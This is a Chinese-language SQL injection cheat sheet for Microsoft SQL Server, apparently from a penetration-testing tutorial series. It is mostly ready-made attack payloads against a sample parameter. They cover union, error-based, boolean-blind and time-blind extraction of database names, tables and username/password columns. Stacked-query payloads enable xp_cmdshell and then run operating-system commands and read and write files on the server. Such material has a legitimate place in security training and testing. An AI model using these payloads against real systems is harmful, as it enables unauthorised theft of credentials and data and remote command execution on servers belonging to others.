【攻防技术系列+SQL注入】-- MSSQL
mssql系统自带数据库: master
每个库都有一个系统自带表(系统对象表):sysobjects
sysobjects三个字段:NAME XTYPE ID
where xtype='x' and name='xp_cmdshel' #以x开头 名称为xp_cmdshel
* S:系统表
* U:用户创建表\*\*(注意为大写)\*\*
* **小写为过滤条件**
id:连接syscolumns表 (相对于存储的字段信息)
name:表名信息
xtype:表的常见类型
syscolumns表:保存当前数据库中的所有列名 (通过name关键字来表示,此时的name不是表名信息的name)
#查找users表中的第一个字段
select top 1 name from syscolumns where id=(select id from sysobjects where name='users')
top关键字:输出限制,相当于MySQL中的limit
用法:top + 数字
stuff替换字符串
STUFF (字符表达式, 开始位置, 长度, 替换字符串表达式) # 包含开始位置
# 字符表达式:你想要修改的字符串表达式。
# 开始位置:你想要开始替换字符的字符串内起始位置。
# 长度:要替换的字符数。
# 替换字符串表达式:将替换开始位置和长度参数指定的字符的新字符串。
#例:
SELECT STUFF('Hello World', 7, 5, 'Universe')
这个查询会返回 "Hello Universe"。原始字符串是 "Hello World",它会从第七个位置开始('W'的位置),删除长度为5的子串('World'),然后用 "Universe" 替换它。
select @@version --查询数据库的版本
select host_name() --查询主机名,如果是用navicat远程连接的话,主机名是本地的名字
select db_name() --查询当前数据库名
select db_name(1) --查询第一个数据库名
select db_name(2) --查询第二个数据库名,前6个数据库为默认库
select user --查询当前数据库的拥有者,结果为 dbo。dbo是每个数据库的默认用户,具有所有者权限,全称:datebaseOwner ,即DbOwner
注释符 --
**is_srvrolemember('server_role')**查询数据库权限 正确返回1
sysadmin 系统管理员
serveradmin 服务器管理员
setupadmin 安装程序管理员
securityadmin 安全管理员
processadmin 进程管理员
diskadmin 磁盘管理员
dbcreator 数据库创建者
bulkadmin 大容量插入创建者
public默认的、预定义的角色,sqlserver实例中每个登录用户的默认角色
server_role
**is_member('database_role')**查询数据库角色 正确返回1
db_owner****数据库所有者
db_ddladmin****数据库DDL管理员(创建、修改、删除表)
db_accessadmin 数据库访问管理员。具有管理数据库用户访问权限的权限。
db_securityadmin 数据库安全管理员。具有管理数据库角色、权限和访问控制列表的权限。
db_backupoperator 数据库备份操作员。具有备份数据库的权限。
db_datareader 数据库数据读取者。具有读取数据库中所有表和视图的权限。
db_datawriter 数据库数据写入者。具有向数据库中所有表写入数据的权限。
db_denydatareader 拒绝数据库数据读取者
db_denydatawriter 拒绝数据库数据写入者
database_role
盲注函数
len() 判断长度
substring() 截取字符串
ascii() 返回字符ASCII码
waitfor delay '时:分:秒' 延时
#判断是否存在注入点
mssql.php?id=1 and 1=1 --
#判断是否为mssql数据库
mssql.php?id=1 and exists(select * from sysobjects) --
#判断字段长度
mssql.php?id=1 order by 3 -- #正常
mssql.php?id=1 order by 4 -- #报错
#判断回显位
mssql.php?id=-1 union select 11,22,33 --
#爆数据库名,版本信息
mssql.php?id=-1 union select 11,db_name(),@@version --
#爆表名(假设库名为kaiwen)
mssql.php?id=-1 union select 11,db_name(),name from kaiwen..sysobjects where xtype='U' -- #所有表名
#模糊查表
mssql.php?id=-1 union select 11,db_name(),name from kaiwen..sysobjects where xtype='U' and name LIKE '%users%' -- #模糊查询含有‘users’的表
#爆列(字段)名(假设表名为user)
mssql.php?id=-1 union select 11,db_name(),col_name(object_id('users'),1) from sysobjects -- #其中1代表 user表中的第1列
... ...
#爆数据(假设字段为username、password)
mssql.php?id=-1 union select 11,db_name(),username from users
mssql.php?id=-1 union select 11,db_name(),password from users
#查库
-- 查询前1条数据
select top 1 name from master..sysdatabases
-- 查询前2条数据
select top 2 name from master..sysdatabases
-- 查询第3条数据
-- 这里使用嵌套语法,查询第1条不存在于前2条的数据,即查询第3条数据。也就是先排除前2条数据再查询第1条,即原来表中的第3条
select top 1 name from master..sysdatabases where name not in (select top 2 name from master..sysdatabases)
#查表
#方式一:
select top 1 name from 库名..sysobjects where name not in (select top 1 name from master..sysobjects) #第二个表
#方式二:
?id=1 and 1=convert(int,(select top 1 name from test.sys.sysobjects where xtype = ‘U’ and name !=‘users’)) #查 不是users表的下一个表
函数
convert()
file_name()
db_name()
col_name()
filegroup_name()
object_name()
schema_name()
type_name()
cast()
convert()函数
#查询基本信息
convert(int,@@version) 获取版本信息
convert(int,db_name()) 数据库名字
convert(int,user) 当前⽤户名
convert(int,@@SERVERNAME) 获取有关服务器主机的信息
#当前数据库
?id=2 and 1=convert(int,db_name()) --
--或者
?id=convert(int,db_name()) --
--或者
?id=1 and 1=convert(int,db_name(0)) -- --查询当前数据库
?id=1 and 1=convert(int,db_name(1)) -- --查询第二个数据库,以此类推
#查表名(用户创建的)
?id=1 and 1=convert(int,(select top 1 name from 库名.sys.sysobjects where xtype = 'U')) --
#查列名
?id=1 and 1=convert(int,(select top 1 name from 库名.sys.syscolumns where id = object_id(‘users’))) --
#爆数据
?id=1 and 1=convert(int,(select top 1 username+password from users )) --
#布尔盲注
#判断是否存在盲注
and 1=1-- --正常显示
and 1=2-- --不正常
#猜测数据库名长度
/mssql.php?id=2 and len((select db_name()))=3 -- --数据库名长度为3个字符,页面不显示
/mssql.php?id=2 and len((select db_name()))=4 -- --数据库名长度为4个字符,页面正常显示
#获取库名
?id=2 and ascii(substring((select db_name()),1,1))>78 --
?id=2 and ascii(substring((select db_name()),1,1))=78 --
-- 查询数据库名第一个字符的ascii码为78,对应字母N
#时间盲注
#判断是否存在注入点
?id=2 WAITFOR DELAY '0:0:5' --
#猜测库名长度
?id=2 if (len((select db_name()))=4) WAITFOR DELAY '0:0:4' --数据库长度为4字符则延时4s
#猜测库名
?id=2 if (ascii(substring((select top 1 db_name()),1,1))=78) WAITFOR DELAY '0:0:4' --延时响应4s
多语句注入
原SQL语句后拼接分号;进行闭合原语句,之后再拼接其它类型的SQL语句。
1'; exec xp_cmdshell 'whoami > c:\temp.txt' --
判断库站分离
- `Servername`服务名,位于Web端
- `Host_name`数据库系统名,位于数据库端
-- 若正常回显则站库不分离,反之分离
1' and ((select host_name()) = (select @@SERVERNAME))
判断XP_CMDSHELL是否开启
- 存储过程中的`XP_CMDSHELL`可执行系统命令,是后续提权的主要方式,从`MSSQL2005`版本之后默认关闭
-- 若正常回显则开启,反之不开启
1' and (select count(*) from master..sysobjects where xtype='x' and name='xp_cmdshel') --
#以x开头 名称为xp_cmdshel
-- 若不开启,可以在Web端通过多语句注入进行开启
1';EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE; --
写入文件
- 通过`xp_cmdshell`执行系统命令写入文件
exec xp_cmdshell 'whoami > C:/temp.txt'
读取文件
- 创建临时表,将文件写入该表,然后查询,最后删除
create table temp(res varchar(8000)); # 创建表temp
bulk insert master.dbo.temp from 'C:/temp.txt';
#bulk inser 添加操作 通常用于处理大量数据
#master.dbo.temp master库中的dbo.temp表
select * from master.dbo.temp
drop table temp;